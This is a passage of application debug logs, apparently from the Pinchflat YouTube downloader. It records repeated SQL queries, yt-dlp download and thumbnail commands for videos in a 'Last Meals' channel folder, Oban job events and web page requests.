s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:29.017 [debug] QUERY OK source="settings" db=0.0ms idle=221.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:29.017 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=scAcclzNz4g --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/100/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/31/b3/31b31f01df5ae721b40e27000411c9b1f2723e5440b240669e07f2798c6943ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:41:31.511 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=scAcclzNz4g --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/100/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/31/b3/31b31f01df5ae721b40e27000411c9b1f2723e5440b240669e07f2798c6943ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:41:31.512 [debug] QUERY OK db=0.0ms idle=1448.6ms begin [] 22:41:31.512 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:41:29Z], "/downloads/Last Meals/2023-05-18 Padma Lakshmi Eats Her Last Meal/Padma Lakshmi Eats Her Last Meal [scAcclzNz4g].mp4", ~U[2026-03-28 02:41:31Z], 100] 22:41:31.513 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/100/metadata.json.gz", "/config/metadata/media_items/100/thumbnail.jpg", 100, ~U[2026-03-28 02:41:31Z], ~U[2026-03-28 02:41:31Z]] 22:41:31.513 [debug] QUERY OK db=0.1ms commit [] 22:41:31.515 [debug] QUERY OK source="media_items" db=0.9ms idle=1450.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [335125256, ~U[2026-03-28 02:41:31Z], 100] 22:41:31.515 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:41:31.515 [info] {"args":{"id":100},"id":99,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":167287720,"event":"job:stop","queue_time":6575227390,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:41:31.516 [debug] QUERY OK source="tasks" db=0.2ms idle=1452.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:41:31.516 [debug] QUERY OK source="tasks" db=0.2ms idle=654.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:41:31.516 [debug] QUERY OK source="media_items" db=0.0ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:41:31.516 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:41:31.521 [info] {"args":{"id":102},"id":101,"meta":{},"system_time":1774665691521681613,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:41:31.522 [debug] QUERY OK source="media_items" db=0.1ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102] 22:41:31.522 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:41:31.522 [debug] QUERY OK source="tasks" db=0.4ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:41:31.522 [debug] QUERY OK source="tasks" db=0.5ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:41:31.522 [debug] QUERY OK source="sources" db=0.4ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:41:31.522 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 102] 22:41:31.522 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 102] 22:41:31.523 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:41:31.523 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102] 22:41:31.531 [debug] QUERY OK source="media_metadata" db=0.0ms idle=8.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102] 22:41:31.531 [debug] QUERY OK source="media_profiles" db=0.0ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:41:31.532 [debug] QUERY OK source="settings" db=0.0ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:31.532 [debug] QUERY OK source="settings" db=0.0ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:31.532 [debug] Running yt-dlp command for action: get_downloadable_status 22:41:31.532 [debug] QUERY OK source="settings" db=0.0ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:31.532 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:31.533 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:31.533 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=3JLmNRBi5GU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0f/d3/0fd3ca5171a14a162d9c4e70a2511aa647b88439014197425feab79ff6b0dbd0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:41:33.898 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=3JLmNRBi5GU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0f/d3/0fd3ca5171a14a162d9c4e70a2511aa647b88439014197425feab79ff6b0dbd0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:41:33.898 [debug] Running yt-dlp command for action: download 22:41:33.898 [debug] QUERY OK source="settings" db=0.0ms idle=834.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:33.898 [debug] QUERY OK source="settings" db=0.0ms idle=835.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:33.898 [debug] QUERY OK source="settings" db=0.0ms idle=835.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:33.898 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=3JLmNRBi5GU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/60/f3/60f36d7a0f7f5040bc537b90429b913c8bac3463689ab73bdd797a0a071b20e7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:41:58.941 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.681 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:25.219 [info] GET / 22:42:25.219 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:42:25.220 [debug] QUERY OK source="settings" db=0.4ms idle=1156.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:25.228 [debug] QUERY OK source="media_profiles" db=8.1ms idle=1157.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:42:25.229 [debug] QUERY OK source="sources" db=0.3ms idle=258.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:42:25.230 [debug] QUERY OK source="media_items" db=0.5ms idle=166.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:25.230 [debug] QUERY OK source="media_items" db=0.1ms idle=166.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:25.231 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=10.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:25.231 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:25.232 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:25.233 [debug] QUERY OK source="tasks" db=0.3ms idle=3.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:42:25.234 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [101, 102] 22:42:25.235 [debug] QUERY OK source="media_items" db=0.1ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:25.236 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:25.236 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:25.238 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:42:25.238 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:42:25.238 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:42:25.239 [info] Sent 200 in 20ms 22:42:26.192 [info] GET / 22:42:26.192 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:42:26.193 [debug] QUERY OK source="settings" db=0.2ms idle=956.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:26.193 [debug] QUERY OK source="media_profiles" db=0.1ms idle=955.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:42:26.194 [debug] QUERY OK source="sources" db=0.1ms idle=955.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:42:26.194 [debug] QUERY OK source="media_items" db=0.8ms idle=955.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:26.195 [debug] QUERY OK source="media_items" db=0.2ms idle=221.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:42:26.195 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:26.196 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:42:26.196 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 